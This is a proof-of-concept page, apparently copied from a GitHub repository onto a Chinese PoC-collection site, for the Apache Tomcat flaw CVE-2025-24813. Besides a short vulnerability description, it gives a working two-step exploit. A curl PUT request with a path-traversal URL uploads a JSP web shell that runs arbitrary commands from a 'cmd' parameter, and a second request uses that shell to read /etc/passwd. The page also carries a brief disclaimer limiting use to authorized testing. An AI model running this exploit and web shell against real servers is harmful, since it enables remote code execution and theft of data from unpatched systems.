关联漏洞
标题:
Apache Tomcat 环境问题漏洞
(CVE-2025-24813)
描述:Apache Tomcat是美国阿帕奇(Apache)基金会的一款轻量级Web应用服务器。用于实现对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat 11.0.0-M1至11.0.2版本、10.1.0-M1至10.1.34版本和9.0.0.M1至9.0.98版本存在环境问题漏洞。攻击者利用该漏洞可以远程执行代码或泄露敏感信息。
介绍
# CVE-2025-24813 - Apache Tomcat Path Equivalence Vulnerability
Apache Tomcat is vulnerable to a **Path Equivalence / Path Traversal** issue due to improper handling of `../` sequences in paths.
**CVE ID:** CVE-2025-24813
- **Severity:** Critical
**Reference link:** https://github.com/advisories/GHSA-83qj-6fr2-vhqg
---
### PoC Steps:
**1. Send a `curl` request with a PUT method:**
```bash
curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp" \
-H "Content-Type: application/x-jsp" \
--data-raw '<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>' -i
```

**2. Access the uploaded file directly:**
```bash
curl "http://target.com/updates.jsp?cmd=cat/etc/passwd" -i
```

---
This repository is created for educational purposes and authorized testing only.
**Unauthorized use against systems without explicit permission is illegal.**
---
文件快照
[4.0K] /data/pocs/fec657b6c25757dfc65de6a222ad9f1f9b26e2fa
└── [1.4K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。